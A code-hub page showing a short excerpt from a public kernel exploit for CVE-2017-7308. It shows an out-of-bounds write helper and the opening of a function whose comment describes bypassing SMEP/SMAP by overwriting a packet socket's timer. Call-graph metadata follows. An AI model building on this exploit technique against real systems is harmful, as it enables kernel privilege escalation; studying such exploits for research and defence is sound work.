MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / oob_write

Function oob_write

CVE-2017-7308/exploit.c:199–201  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

197}
198
199void oob_write(char *buffer, int size) {
200 loopback_send(buffer, size);
201}
202// (1) 绕过SMEP/SMAP: 覆盖 packet_sock->rx_ring->prb_bdqc->retire_blk_timer
203void oob_timer_execute(void *func, unsigned long arg) {
204 oob_setup(2048 + TIMER_OFFSET - 8);

Callers 2

oob_timer_executeFunction · 0.70
oob_id_match_executeFunction · 0.70

Calls 1

loopback_sendFunction · 0.85

Tested by

no test coverage detected